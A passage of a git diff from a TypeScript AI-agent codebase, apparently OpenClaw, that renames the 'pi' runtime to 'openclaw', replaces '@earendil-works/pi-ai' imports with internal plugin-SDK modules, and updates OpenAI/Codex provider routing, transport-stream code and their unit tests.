"javascript", + mjs: "javascript", + cjs: "javascript", + py: "python", + rb: "ruby", + rs: "rust", + go: "go", + java: "java", + kt: "kotlin", + swift: "swift", + c: "c", + h: "c", + cpp: "cpp", + cc: "cpp", + cxx: "cpp", + hpp: "cpp", + cs: "csharp", + php: "php", + sh: "bash", + bash: "bash", + zsh: "bash", + fish: "fish", + ps1: "powershell", + sql: "sql", + html: "html", + htm: "html", + css: "css", + scss: "scss", + sass: "sass", + less: "less", + json: "json", + yaml: "yaml", + yml: "yaml", + toml: "toml", + xml: "xml", + md: "markdown", + markdown: "markdown", + dockerfile: "dockerfile", + makefile: "makefile", + cmake: "cmake", + lua: "lua", + perl: "perl", + r: "r", + scala: "scala", + clj: "clojure", + ex: "elixir", + exs: "elixir", + erl: "erlang", + hs: "haskell", + ml: "ocaml", + vim: "vim", + graphql: "graphql", + proto: "protobuf", + tf: "hcl", + hcl: "hcl", + }; + + return extToLang[ext]; +} + +export function getMarkdownTheme(): MarkdownTheme { + return { + heading: (text: string) => theme.fg("mdHeading", text), + link: (text: string) => theme.fg("mdLink", text), + linkUrl: (text: string) => theme.fg("mdLinkUrl", text), + code: (text: string) => theme.fg("mdCode", text), + codeBlock: (text: string) => theme.fg("mdCodeBlock", text), + codeBlockBorder: (text: string) => theme.fg("mdCodeBlockBorder", text), + quote: (text: string) => theme.fg("mdQuote", text), + quoteBorder: (text: string) => theme.fg("mdQuoteBorder", text), + hr: (text: string) => theme.fg("mdHr", text), + listBullet: (text: string) => theme.fg("mdListBullet", text), + bold: (text: string) => theme.bold(text), + italic: (text: string) => theme.italic(text), + underline: (text: string) => theme.underline(text), + strikethrough: (text: string) => chalk.strikethrough(text), + highlightCode: (code: string, lang?: string): string[] => { + // Validate language before highlighting to avoid stderr spam from cli-highlight + const validLang = lang && supportsLanguage(lang) ? lang : undefined; + // Skip highlighting when no valid language is specified. cli-highlight's + // auto-detection is unreliable and can misidentify prose as AppleScript, + // LiveCodeServer, etc., coloring random English words as keywords. + if (!validLang) { + return code.split("\n").map((line) => theme.fg("mdCodeBlock", line)); + } + const opts = { + language: validLang, + ignoreIllegals: true, + theme: getCliHighlightTheme(theme), + }; + try { + return highlight(code, opts).split("\n"); + } catch { + return code.split("\n").map((line) => theme.fg("mdCodeBlock", line)); + } + }, + }; +} + +export function getSelectListTheme(): SelectListTheme { + return { + selectedPrefix: (text: string) => theme.fg("accent", text), + selectedText: (text: string) => theme.fg("accent", text), + description: (text: string) => theme.fg("muted", text), + scrollInfo: (text: string) => theme.fg("muted", text), + noMatch: (text: string) => theme.fg("muted", text), + }; +} + +export function getEditorTheme(): EditorTheme { + return { + borderColor: (text: string) => theme.fg("borderMuted", text), + selectList: getSelectListTheme(), + }; +} + +export function getSettingsListTheme(): SettingsListTheme { + return { + label: (text: string, selected: boolean) => (selected ? theme.fg("accent", text) : text), + value: (text: string, selected: boolean) => + selected ? theme.fg("accent", text) : theme.fg("muted", text), + description: (text: string) => theme.fg("dim", text), + cursor: theme.fg("accent", "→ "), + hint: (text: string) => theme.fg("dim", text), + }; +} diff --git a/src/agents/moonshot.live.test.ts b/src/agents/moonshot.live.test.ts index 6e2d50d5989..aec925b271a 100644 --- a/src/agents/moonshot.live.test.ts +++ b/src/agents/moonshot.live.test.ts @@ -1,4 +1,4 @@ -import { completeSimple, type Model } from "@earendil-works/pi-ai"; +import { completeSimple, type Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { createSingleUserPromptMessage, diff --git a/src/agents/openai-codex-routing.test.ts b/src/agents/openai-codex-routing.test.ts index 530dc943857..43330ba0a4e 100644 --- a/src/agents/openai-codex-routing.test.ts +++ b/src/agents/openai-codex-routing.test.ts @@ -4,9 +4,8 @@ import { listOpenAIAuthProfileProvidersForAgentRuntime, modelSelectionShouldEnsureCodexPlugin, openAIProviderUsesCodexRuntimeByDefault, - resolveOpenAICompactionRuntimeProvider, - resolveOpenAIRuntimeProviderForPi, - resolveSelectedOpenAIPiRuntimeProvider, + resolveOpenAIRuntimeProvider, + resolveSelectedOpenAIRuntimeProvider, } from "./openai-codex-routing.js"; describe("OpenAI Codex routing policy", () => { @@ -36,24 +35,24 @@ describe("OpenAI Codex routing policy", () => { expect(modelSelectionShouldEnsureCodexPlugin({ model: "openai/gpt-5.5", config })).toBe(false); }); - it("maps explicit PI plus Codex auth profile to the legacy PI Codex-auth transport", () => { + it("maps explicit OpenClaw plus Codex auth profile to the OpenClaw Codex-auth transport", () => { expect( listOpenAIAuthProfileProvidersForAgentRuntime({ provider: "openai", - harnessRuntime: "pi", + harnessRuntime: "openclaw", }), ).toEqual(["openai", "openai-codex"]); expect( - resolveOpenAIRuntimeProviderForPi({ + resolveOpenAIRuntimeProvider({ provider: "openai", - harnessRuntime: "pi", + harnessRuntime: "openclaw", authProfileProvider: "openai-codex", authProfileId: "openai-codex:work", }), ).toBe("openai-codex"); }); - it("keeps explicit OpenAI PI Codex auth order ahead of API-key backups", () => { + it("keeps explicit OpenAI OpenClaw Codex auth order ahead of API-key backups", () => { const config = { auth: { order: { @@ -65,27 +64,27 @@ describe("OpenAI Codex routing policy", () => { expect( listOpenAIAuthProfileProvidersForAgentRuntime({ provider: "openai", - harnessRuntime: "pi", + harnessRuntime: "openclaw", config, }), ).toEqual(["openai-codex", "openai"]); expect( - resolveSelectedOpenAIPiRuntimeProvider({ + resolveSelectedOpenAIRuntimeProvider({ provider: "openai", - harnessRuntime: "pi", + harnessRuntime: "openclaw", config, }), ).toBe("openai-codex"); expect( - resolveOpenAIRuntimeProviderForPi({ + resolveOpenAIRuntimeProvider({ provider: "openai", - harnessRuntime: "pi", + harnessRuntime: "openclaw", config, }), ).toBe("openai"); }); - it("keeps explicit OpenAI PI API-key auth order ahead of Codex backups", () => { + it("keeps explicit OpenAI OpenClaw API-key auth order ahead of Codex backups", () => { const config = { auth: { order: { @@ -97,20 +96,20 @@ describe("OpenAI Codex routing policy", () => { expect( listOpenAIAuthProfileProvidersForAgentRuntime({ provider: "openai", - harnessRuntime: "pi", + harnessRuntime: "openclaw", config, }), ).toEqual(["openai", "openai-codex"]); expect( - resolveSelectedOpenAIPiRuntimeProvider({ + resolveSelectedOpenAIRuntimeProvider({ provider: "openai", - harnessRuntime: "pi", + harnessRuntime: "openclaw", config, }), ).toBe("openai"); }); - it("does not route custom OpenAI-compatible PI configs through Codex auth order", () => { + it("does not route custom OpenAI-compatible OpenClaw configs through Codex auth order", () => { const config = { models: { providers: { @@ -130,14 +129,14 @@ describe("OpenAI Codex routing policy", () => { expect( listOpenAIAuthProfileProvidersForAgentRuntime({ provider: "openai", - harnessRuntime: "pi", + harnessRuntime: "openclaw", config, }), ).toEqual(["openai", "openai-codex"]); expect( - resolveSelectedOpenAIPiRuntimeProvider({ + resolveSelectedOpenAIRuntimeProvider({ provider: "openai", - harnessRuntime: "pi", + harnessRuntime: "openclaw", config, }), ).toBe("openai"); @@ -152,80 +151,18 @@ describe("OpenAI Codex routing policy", () => { ).toEqual(["openai-codex"]); }); - it("routes selected OpenAI Codex runtime through OpenAI-Codex even before auth is configured", () => { + it("routes openai provider to openai-codex when harness runtime is codex", () => { expect( - resolveSelectedOpenAIPiRuntimeProvider({ + resolveSelectedOpenAIRuntimeProvider({ provider: "openai", harnessRuntime: "codex", }), ).toBe("openai-codex"); }); - it("routes OpenAI compaction to OpenAI-Codex when Codex auth order is configured", () => { - expect( - resolveOpenAICompactionRuntimeProvider({ - provider: "openai", - harnessRuntime: "codex", - config: { - auth: { - order: { - "openai-codex": ["openai-codex:work"], - }, - }, - }, - }), - ).toBe("openai-codex"); - }); - - it("routes OpenAI compaction to OpenAI-Codex when a Codex auth profile is configured", () => { - expect( - resolveOpenAICompactionRuntimeProvider({ - provider: "openai", - harnessRuntime: "codex", - config: { - auth: { - profiles: { - work: { - provider: "openai-codex", - mode: "oauth", - }, - }, - }, - }, - }), - ).toBe("openai-codex"); - }); - - it("routes OpenAI compaction to OpenAI-Codex when OpenAI auth order selects Codex", () => { - const config = { - auth: { - order: { - openai: ["openai-codex:work"], - }, - }, - } satisfies OpenClawConfig; - - expect( - resolveOpenAICompactionRuntimeProvider({ - provider: "openai", - harnessRuntime: "codex", - config, - }), - ).toBe("openai-codex"); - }); - - it("keeps OpenAI compaction on OpenAI when only direct API-key auth is implied", () => { - expect( - resolveOpenAICompactionRuntimeProvider({ - provider: "openai", - harnessRuntime: "codex", - }), - ).toBe("openai"); - }); - it("does not route non-OpenAI providers when runtime is codex", () => { expect( - resolveSelectedOpenAIPiRuntimeProvider({ + resolveSelectedOpenAIRuntimeProvider({ provider: "anthropic", harnessRuntime: "codex", }), diff --git a/src/agents/openai-codex-routing.ts b/src/agents/openai-codex-routing.ts index 553fa308cd7..dd91cc2ff94 100644 --- a/src/agents/openai-codex-routing.ts +++ b/src/agents/openai-codex-routing.ts @@ -1,6 +1,7 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import { normalizeOptionalLowercaseString } from "../shared/string-coerce.js"; -import { normalizeEmbeddedAgentRuntime } from "./pi-embedded-runner/runtime.js"; +import { OPENCLAW_AGENT_RUNTIME_ID } from "./agent-runtime-id.js"; +import { normalizeOptionalAgentRuntimeId } from "./agent-runtime-id.js"; import { resolveProviderIdForAuth } from "./provider-auth-aliases.js"; import { findNormalizedProviderValue, normalizeProviderId } from "./provider-id.js"; @@ -92,27 +93,7 @@ function configuredOpenAIAuthOrderStartsWithCodexProfile(config: OpenClawConfig return hasOpenAICodexAuthProfileOverride(firstProfile); } -function configuredOpenAICodexAuthProfileExists(config: OpenClawConfig | undefined): boolean { - if (!openAIProviderUsesCodexRuntimeByDefault({ provider: OPENAI_PROVIDER_ID, config })) { - return false; - } - const configuredCodexOrder = findNormalizedProviderValue( - config?.auth?.order, - OPENAI_CODEX_PROVIDER_ID, - ); - if ( - configuredCodexOrder?.some( - (profileId) => typeof profileId === "string" && profileId.trim().length > 0, - ) === true - ) { - return true; - } - return Object.values(config?.auth?.profiles ?? {}).some( - (profile) => normalizeProviderId(profile?.provider ?? "") === OPENAI_CODEX_PROVIDER_ID, - ); -} - -export function shouldRouteOpenAIPiThroughCodexAuthProvider(params: { +export function shouldRouteOpenAIThroughCodexAuthProvider(params: { provider: string; harnessRuntime?: string; agentHarnessId?: string; @@ -124,8 +105,10 @@ export function shouldRouteOpenAIPiThroughCodexAuthProvider(params: { if (!isOpenAIProvider(params.provider)) { return false; } - const runtime = normalizeEmbeddedAgentRuntime(params.agentHarnessId ?? params.harnessRuntime); - if (runtime !== "pi") { + const runtime = + normalizeOptionalAgentRuntimeId(params.agentHarnessId ?? params.harnessRuntime) ?? + OPENCLAW_AGENT_RUNTIME_ID; + if (runtime !== "openclaw") { return false; } if (!hasOpenAICodexAuthProfileOverride(params.authProfileId)) { @@ -151,13 +134,14 @@ export function listOpenAIAuthProfileProvidersForAgentRuntime(params: { if (!isOpenAIProvider(params.provider)) { return [params.provider]; } - const runtime = normalizeEmbeddedAgentRuntime( - normalizeExplicitRuntimePin(params.agentHarnessId) ?? params.harnessRuntime, - ); + const runtime = + normalizeOptionalAgentRuntimeId( + normalizeExplicitRuntimePin(params.agentHarnessId) ?? params.harnessRuntime, + ) ?? OPENCLAW_AGENT_RUNTIME_ID; if (runtime === "codex") { return [OPENAI_CODEX_PROVIDER_ID]; } - if (runtime === "pi") { + if (runtime === "openclaw") { if (configuredOpenAIAuthOrderStartsWithCodexProfile(params.config)) { return [OPENAI_CODEX_PROVIDER_ID, OPENAI_PROVIDER_ID]; } @@ -167,14 +151,11 @@ export function listOpenAIAuthProfileProvidersForAgentRuntime(params: { } function normalizeExplicitRuntimePin(value: unknown): string | undefined { - if (typeof value !== "string" || !value.trim()) { - return undefined; - } - const runtime = normalizeEmbeddedAgentRuntime(value); + const runtime = normalizeOptionalAgentRuntimeId(value); return runtime === "auto" || runtime === "default" ? undefined : runtime; } -export function resolveOpenAIRuntimeProviderForPi(params: { +export function resolveOpenAIRuntimeProvider(params: { provider: string; harnessRuntime?: string; agentHarnessId?: string; @@ -183,12 +164,12 @@ export function resolveOpenAIRuntimeProviderForPi(params: { config?: OpenClawConfig; workspaceDir?: string; }): string { - return shouldRouteOpenAIPiThroughCodexAuthProvider(params) + return shouldRouteOpenAIThroughCodexAuthProvider(params) ? OPENAI_CODEX_PROVIDER_ID : params.provider; } -export function resolveSelectedOpenAIPiRuntimeProvider(params: { +export function resolveSelectedOpenAIRuntimeProvider(params: { provider: string; harnessRuntime?: string; agentHarnessId?: string; @@ -197,48 +178,19 @@ export function resolveSelectedOpenAIPiRuntimeProvider(params: { config?: OpenClawConfig; workspaceDir?: string; }): string { - if (shouldRouteOpenAIPiThroughCodexAuthProvider(params)) { + if (shouldRouteOpenAIThroughCodexAuthProvider(params)) { return OPENAI_CODEX_PROVIDER_ID; } - const runtime = normalizeEmbeddedAgentRuntime(params.agentHarnessId ?? params.harnessRuntime); + const runtime = + normalizeOptionalAgentRuntimeId(params.agentHarnessId ?? params.harnessRuntime) ?? + OPENCLAW_AGENT_RUNTIME_ID; if (!isOpenAIProvider(params.provider)) { return params.provider; } if (runtime === "codex") { return OPENAI_CODEX_PROVIDER_ID; } - return runtime === "pi" && - !params.authProfileId?.trim() && - configuredOpenAIAuthOrderStartsWithCodexProfile(params.config) - ? OPENAI_CODEX_PROVIDER_ID - : params.provider; -} - -export function resolveOpenAICompactionRuntimeProvider(params: { - provider: string; - harnessRuntime?: string; - agentHarnessId?: string; - authProfileProvider?: string; - authProfileId?: string; - config?: OpenClawConfig; - workspaceDir?: string; -}): string { - if (shouldRouteOpenAIPiThroughCodexAuthProvider(params)) { - return OPENAI_CODEX_PROVIDER_ID; - } - const runtime = normalizeEmbeddedAgentRuntime(params.agentHarnessId ?? params.harnessRuntime); - if (!isOpenAIProvider(params.provider)) { - return params.provider; - } - if ( - runtime === "codex" && - (hasOpenAICodexAuthProfileOverride(params.authProfileId) || - configuredOpenAIAuthOrderStartsWithCodexProfile(params.config) || - configuredOpenAICodexAuthProfileExists(params.config)) - ) { - return OPENAI_CODEX_PROVIDER_ID; - } - return runtime === "pi" && + return runtime === "openclaw" && !params.authProfileId?.trim() && configuredOpenAIAuthOrderStartsWithCodexProfile(params.config) ? OPENAI_CODEX_PROVIDER_ID @@ -250,7 +202,7 @@ export function resolveContextConfigProviderForRuntime(params: { runtimeId?: string; }): string { const provider = normalizeProviderId(params.provider); - const runtimeId = normalizeEmbeddedAgentRuntime(params.runtimeId); + const runtimeId = normalizeOptionalAgentRuntimeId(params.runtimeId) ?? OPENCLAW_AGENT_RUNTIME_ID; if (provider === OPENAI_PROVIDER_ID && runtimeId === "codex") { return OPENAI_CODEX_PROVIDER_ID; } diff --git a/src/agents/openai-completions-compat.ts b/src/agents/openai-completions-compat.ts index acfadd3e632..0ea57fdbff6 100644 --- a/src/agents/openai-completions-compat.ts +++ b/src/agents/openai-completions-compat.ts @@ -1,4 +1,4 @@ -import type { Model } from "@earendil-works/pi-ai"; +import type { Model } from "../llm/types.js"; import type { ProviderEndpointClass, ProviderRequestCapabilities } from "./provider-attribution.js"; import { resolveProviderRequestCapabilities } from "./provider-attribution.js"; diff --git a/src/agents/openai-reasoning-compat.live.test.ts b/src/agents/openai-reasoning-compat.live.test.ts index 1dc761b7841..079e72a43a6 100644 --- a/src/agents/openai-reasoning-compat.live.test.ts +++ b/src/agents/openai-reasoning-compat.live.test.ts @@ -1,10 +1,12 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { Api, Model } from "@earendil-works/pi-ai"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; +import type { Api, Model } from "openclaw/plugin-sdk/llm"; import { Type } from "typebox"; import { describe, expect, it } from "vitest"; import { getRuntimeConfig } from "../config/config.js"; +import { discoverAuthStorage, discoverModels } from "./agent-model-discovery.js"; import { resolveDefaultAgentDir } from "./agent-scope.js"; +import { sanitizeSessionHistory } from "./embedded-agent-runner/replay-history.js"; import { completeSimpleWithTimeout, isLiveProfileKeyModeEnabled, @@ -15,8 +17,6 @@ import { } from "./live-test-helpers.js"; import { getApiKeyForModel, requireApiKey } from "./model-auth.js"; import { ensureOpenClawModelsJson } from "./models-config.js"; -import { sanitizeSessionHistory } from "./pi-embedded-runner/replay-history.js"; -import { discoverAuthStorage, discoverModels } from "./pi-model-discovery.js"; const LIVE = isLiveTestEnabled(); const REQUIRE_PROFILE_KEYS = isLiveProfileKeyModeEnabled(); @@ -28,7 +28,7 @@ const describeLive = LIVE ? describe : describe.skip; const logProgress = logLiveProgress; async function completeReplyWithRetry(params: { - model: Model; + model: Model; apiKey: string; message: string; }): Promise<{ text: string; errorMessage?: string }> { @@ -105,7 +105,7 @@ describeLive("openai reasoning compat live", () => { const agentDir = resolveDefaultAgentDir(cfg); const authStorage = discoverAuthStorage(agentDir); const modelRegistry = discoverModels(authStorage, agentDir); - const model = modelRegistry.find(provider, modelId) as Model | null; + const model = modelRegistry.find(provider, modelId) as Model | null; if (!model) { logProgress(`[openai-reasoning-compat] model missing from registry: ${TARGET_MODEL_REF}`); @@ -165,7 +165,7 @@ describeLive("openai reasoning compat live", () => { const agentDir = resolveDefaultAgentDir(cfg); const authStorage = discoverAuthStorage(agentDir); const modelRegistry = discoverModels(authStorage, agentDir); - const model = modelRegistry.find(provider, modelId) as Model | null; + const model = modelRegistry.find(provider, modelId) as Model | null; if (!model) { logProgress(`[openai-reasoning-compat] model missing from registry: ${TARGET_MODEL_REF}`); diff --git a/src/agents/openai-reasoning-effort.test.ts b/src/agents/openai-reasoning-effort.test.ts index 03018c7a94f..c49175443fb 100644 --- a/src/agents/openai-reasoning-effort.test.ts +++ b/src/agents/openai-reasoning-effort.test.ts @@ -25,7 +25,7 @@ describe("OpenAI reasoning effort support", () => { expect(resolveOpenAIReasoningEffortForModel({ model, effort: "medium" })).toBe("medium"); }); - it("does not downgrade xhigh when Pi compat metadata declares it explicitly", () => { + it("does not downgrade xhigh when model compat metadata declares it explicitly", () => { const model = { provider: "openai-codex", id: "gpt-5.5", diff --git a/src/agents/openai-responses-payload-policy.test.ts b/src/agents/openai-responses-payload-policy.test.ts index 75db8096681..4df11e8b4a0 100644 --- a/src/agents/openai-responses-payload-policy.test.ts +++ b/src/agents/openai-responses-payload-policy.test.ts @@ -1,4 +1,4 @@ -import type { Model } from "@earendil-works/pi-ai"; +import type { Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { applyOpenAIResponsesPayloadPolicy, diff --git a/src/agents/openai-responses.reasoning-replay.test.ts b/src/agents/openai-responses.reasoning-replay.test.ts index 1dc5ab8cb68..dd0df7adb83 100644 --- a/src/agents/openai-responses.reasoning-replay.test.ts +++ b/src/agents/openai-responses.reasoning-replay.test.ts @@ -1,5 +1,5 @@ -import type { AssistantMessage, Model, ToolResultMessage } from "@earendil-works/pi-ai"; -import { streamOpenAIResponses } from "@earendil-works/pi-ai"; +import type { AssistantMessage, Model, ToolResultMessage } from "openclaw/plugin-sdk/llm"; +import { stream } from "openclaw/plugin-sdk/llm"; import { Type } from "typebox"; import { describe, expect, it } from "vitest"; @@ -88,7 +88,7 @@ async function runAbortedOpenAIResponsesStream(params: { controller.abort(); let payload: Record | undefined; - const stream = streamOpenAIResponses( + const responseStream = stream( buildModel(), { systemPrompt: "system", @@ -104,7 +104,7 @@ async function runAbortedOpenAIResponsesStream(params: { }, ); - await stream.result(); + await responseStream.result(); const input = extractInput(payload); return { input, diff --git a/src/agents/openai-text-verbosity.ts b/src/agents/openai-text-verbosity.ts index 11cc76f4350..e39598323d1 100644 --- a/src/agents/openai-text-verbosity.ts +++ b/src/agents/openai-text-verbosity.ts @@ -1,5 +1,5 @@ import { normalizeOptionalLowercaseString } from "../shared/string-coerce.js"; -import { log } from "./pi-embedded-runner/logger.js"; +import { log } from "./embedded-agent-runner/logger.js"; /** @deprecated OpenAI provider-owned stream helper; do not use from third-party plugins. */ export type OpenAITextVerbosity = "low" | "medium" | "high"; diff --git a/src/agents/openai-thinking-contract.test.ts b/src/agents/openai-thinking-contract.test.ts index b19cdd170f1..848e9cac877 100644 --- a/src/agents/openai-thinking-contract.test.ts +++ b/src/agents/openai-thinking-contract.test.ts @@ -1,13 +1,12 @@ -import { Agent, type StreamFn } from "@earendil-works/pi-agent-core"; +import { Agent, type StreamFn } from "openclaw/plugin-sdk/agent-core"; import { createAssistantMessageEventStream, type AssistantMessage, type Context, type Model, type SimpleStreamOptions, -} from "@earendil-works/pi-ai"; -import { streamSimpleOpenAICodexResponses } from "@earendil-works/pi-ai/openai-codex-responses"; -import { streamSimpleOpenAIResponses } from "@earendil-works/pi-ai/openai-responses"; + streamSimple, +} from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; type ResponsesModel = Model<"openai-responses"> | Model<"openai-codex-responses">; @@ -40,7 +39,7 @@ describe("OpenAI thinking contract", () => { { model: openaiModel, expectedReasoning: "high" }, { model: codexModel, expectedReasoning: "high" }, ])( - "forwards enabled session thinkingLevel to pi-ai options for $model.provider/$model.id", + "forwards enabled session thinkingLevel to shared model runtime options for $model.provider/$model.id", async ({ model, expectedReasoning }) => { const capturedOptions: SimpleStreamOptions[] = []; const agent = new Agent({ @@ -75,40 +74,40 @@ describe("OpenAI thinking contract", () => { }, ); - it("serializes OpenAI Responses reasoning effort from pi-ai simple options", async () => { + it("serializes OpenAI Responses reasoning effort from shared model runtime simple options", async () => { const payload = await captureProviderPayload({ model: openaiModel, - streamFn: streamSimpleOpenAIResponses, + streamFn: streamSimple, options: { reasoning: "high" }, }); expect(payload.reasoning).toEqual({ effort: "high", summary: "auto" }); }); - it("serializes Codex Responses reasoning effort from pi-ai simple options", async () => { + it("serializes Codex Responses reasoning effort from shared model runtime simple options", async () => { const payload = await captureProviderPayload({ model: codexModel, - streamFn: streamSimpleOpenAICodexResponses, + streamFn: streamSimple, options: { reasoning: "high", transport: "sse" }, }); expect(payload.reasoning).toEqual({ effort: "high", summary: "auto" }); }); - it("leaves Codex Responses reasoning absent when pi-agent-core disables thinking", async () => { + it("leaves Codex Responses reasoning absent when agent runtime disables thinking", async () => { const payload = await captureProviderPayload({ model: codexModel, - streamFn: streamSimpleOpenAICodexResponses, + streamFn: streamSimple, options: { transport: "sse" }, }); expect(payload).not.toHaveProperty("reasoning"); }); - it("keeps OpenAI Responses reasoning explicitly disabled when pi-agent-core disables thinking", async () => { + it("keeps OpenAI Responses reasoning explicitly disabled when agent runtime disables thinking", async () => { const payload = await captureProviderPayload({ model: openaiModel, - streamFn: streamSimpleOpenAIResponses, + streamFn: streamSimple, options: {}, }); diff --git a/src/agents/openai-tool-schema.ts b/src/agents/openai-tool-schema.ts index 14971a6f08b..87f8f99d965 100644 --- a/src/agents/openai-tool-schema.ts +++ b/src/agents/openai-tool-schema.ts @@ -1,6 +1,5 @@ import type { ModelCompatConfig } from "../config/types.models.js"; -import { normalizeToolParameterSchema } from "./pi-tools-parameter-schema.js"; -export { resolveOpenAIStrictToolSetting } from "./openai-strict-tool-setting.js"; +import { normalizeToolParameterSchema } from "./agent-tools-parameter-schema.js"; type ToolSchemaCompatInput = { unsupportedToolSchemaKeywords?: unknown; diff --git a/src/agents/openai-transport-stream.test.ts b/src/agents/openai-transport-stream.test.ts index a6ee181bf77..37ae24b8902 100644 --- a/src/agents/openai-transport-stream.test.ts +++ b/src/agents/openai-transport-stream.test.ts @@ -1,5 +1,5 @@ import { createServer } from "node:http"; -import type { Api, Model } from "@earendil-works/pi-ai"; +import type { Api, Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it, vi } from "vitest"; import { buildOpenAIResponsesParams, @@ -447,7 +447,7 @@ describe("openai transport stream", () => { ).toThrow(/Code mode payload tool surface violation/); }); - it("adds OpenClaw attribution to native OpenAI transport headers and protects it from pi", () => { + it("adds OpenClaw attribution to native OpenAI transport headers and protects it from provider overrides", () => { vi.stubEnv("OPENCLAW_VERSION", "2026.3.22"); const headers = testing.buildOpenAIClientHeaders( { @@ -457,8 +457,8 @@ describe("openai transport stream", () => { provider: "openai", baseUrl: "https://api.openai.com/v1", headers: { - originator: "pi", - "User-Agent": "pi", + originator: "openclaw", + "User-Agent": "openclaw", "X-Provider": "model", }, reasoning: true, @@ -469,8 +469,8 @@ describe("openai transport stream", () => { } satisfies Model<"openai-responses">, { systemPrompt: "", messages: [] } as never, { - originator: "pi", - "User-Agent": "pi", + originator: "openclaw", + "User-Agent": "openclaw", "X-Caller": "request", }, ); @@ -494,8 +494,8 @@ describe("openai transport stream", () => { provider: "openai-codex", baseUrl: "https://chatgpt.com/backend-api", headers: { - originator: "pi", - "User-Agent": "pi", + originator: "openclaw", + "User-Agent": "openclaw", }, reasoning: true, input: ["text"], @@ -2273,7 +2273,7 @@ describe("openai transport stream", () => { cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, contextWindow: 200000, maxTokens: 8192, - } satisfies Model, + } satisfies Model, { systemPrompt: `Stable prefix${SYSTEM_PROMPT_CACHE_BOUNDARY}Dynamic suffix`, messages: [{ role: "user", content: "Hello", timestamp: 1 }], @@ -3197,7 +3197,7 @@ describe("openai transport stream", () => { ]); }); - it("does not infer high reasoning when Pi passes thinking off", () => { + it("does not infer high reasoning when the runtime passes thinking off", () => { const params = buildOpenAIResponsesParams( { id: "gpt-5.4", diff --git a/src/agents/openai-transport-stream.ts b/src/agents/openai-transport-stream.ts index 7f22b80aae8..a7bb5ef771f 100644 --- a/src/agents/openai-transport-stream.ts +++ b/src/agents/openai-transport-stream.ts @@ -1,15 +1,4 @@ import { createHash, randomUUID } from "node:crypto"; -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { - calculateCost, - createAssistantMessageEventStream, - getEnvApiKey, - parseStreamingJson, - type Api, - type Context, - type Model, -} from "@earendil-works/pi-ai"; -import { convertMessages } from "@earendil-works/pi-ai/openai-completions"; import OpenAI, { AzureOpenAI } from "openai"; import type { ChatCompletionChunk } from "openai/resources/chat/completions.js"; import type { @@ -24,6 +13,12 @@ import type { ResponseReasoningItem, } from "openai/resources/responses/responses.js"; import type { ModelCompatConfig } from "../config/types.models.js"; +import { getEnvApiKey } from "../llm/env-api-keys.js"; +import { calculateCost } from "../llm/model-utils.js"; +import { convertMessages } from "../llm/providers/openai-completions.js"; +import type { Api, Context, Model } from "../llm/types.js"; +import { createAssistantMessageEventStream } from "../llm/utils/event-stream.js"; +import { parseStreamingJson } from "../llm/utils/json-parse.js"; import { redactIdentifier } from "../logging/redact-identifier.js"; import { redactSensitiveText } from "../logging/redact.js"; import { createSubsystemLogger } from "../logging/subsystem.js"; @@ -60,11 +55,11 @@ import { applyOpenAIResponsesPayloadPolicy, resolveOpenAIResponsesPayloadPolicy, } from "./openai-responses-payload-policy.js"; +import { resolveOpenAIStrictToolSetting } from "./openai-strict-tool-setting.js"; import { findOpenAIStrictToolSchemaDiagnostics, normalizeOpenAIStrictToolParameters, resolveOpenAIStrictToolFlagForInventory, - resolveOpenAIStrictToolSetting, } from "./openai-tool-schema.js"; import { resolveProviderRequestPolicyConfig } from "./provider-request-config.js"; import { @@ -72,6 +67,7 @@ import { resolveModelRequestTimeoutMs, } from "./provider-transport-fetch.js"; import { sanitizeResponsesImagePayload } from "./responses-image-payload-sanitizer.js"; +import type { StreamFn } from "./runtime/index.js"; import { stripSystemPromptCacheBoundary } from "./system-prompt-cache-boundary.js"; import { transformTransportMessages } from "./transport-message-transform.js"; import { @@ -120,7 +116,7 @@ type BaseStreamOptions = { cacheRetention?: "none" | "short" | "long"; sessionId?: string; authProfileId?: string; - onPayload?: (payload: unknown, model: Model) => unknown; + onPayload?: (payload: unknown, model: Model) => unknown; headers?: Record; openclawCodeModeToolSurface?: boolean; responseFormat?: Record; @@ -201,7 +197,7 @@ type OpenAIModeCompatInput = Omit & { thinkingFormat?: string; }; -type OpenAIModeModel = Omit, "compat"> & { +type OpenAIModeModel = Omit & { compat?: OpenAIModeCompatInput | null; }; @@ -612,7 +608,7 @@ function buildResponsesFailedFailureFields( function buildResponsesFailedNoDetailsObservation( event: Record, - model: Model, + model: Model, response: Record | undefined = isRecord(event.response) ? event.response : undefined, @@ -664,7 +660,7 @@ function summarizeResponsesFailedNoDetailsObservation( function normalizeResponsesFailedEvent( event: Record, - model: Model, + model: Model, ): ResponsesFailedEventSummary { const response = isRecord(event.response) ? event.response : undefined; const responseId = readResponseFailedString(response, "id") || undefined; @@ -820,7 +816,7 @@ function hashOptionalReplayContextValue(value: string | undefined): string | und } function buildOpenAIResponsesReplayContext( - model: Model, + model: Model, options?: Pick, ): OpenAIResponsesReplayContext { return { @@ -834,7 +830,7 @@ function buildOpenAIResponsesReplayContext( } function buildOpenAIResponsesReasoningReplayMetadata( - model: Model, + model: Model, options?: Pick, ): OpenAIResponsesReasoningReplayMetadata { return { @@ -846,7 +842,7 @@ function buildOpenAIResponsesReasoningReplayMetadata( function tagOpenAIResponsesReasoningReplayItem( item: Record, - model: Model, + model: Model, options?: Pick, ): Record { if (!("encrypted_content" in item)) { @@ -926,7 +922,7 @@ async function createResponsesStreamWithEncryptedContentRetry(params: { client: ResponsesClientLike; request: OpenAIResponsesRequestParams; requestOptions: unknown; - model: Model; + model: Model; }): Promise> { try { return (await params.client.responses.create( @@ -1004,7 +1000,7 @@ function parseTextSignature( } function convertResponsesMessages( - model: Model, + model: Model, context: Context, allowedToolCallProviders: Set, options?: { @@ -1041,7 +1037,7 @@ function convertResponsesMessages( }; const normalizeToolCallId = ( id: string, - _targetModel: Model, + _targetModel: Model, source: { provider: string; api: Api }, ) => { if 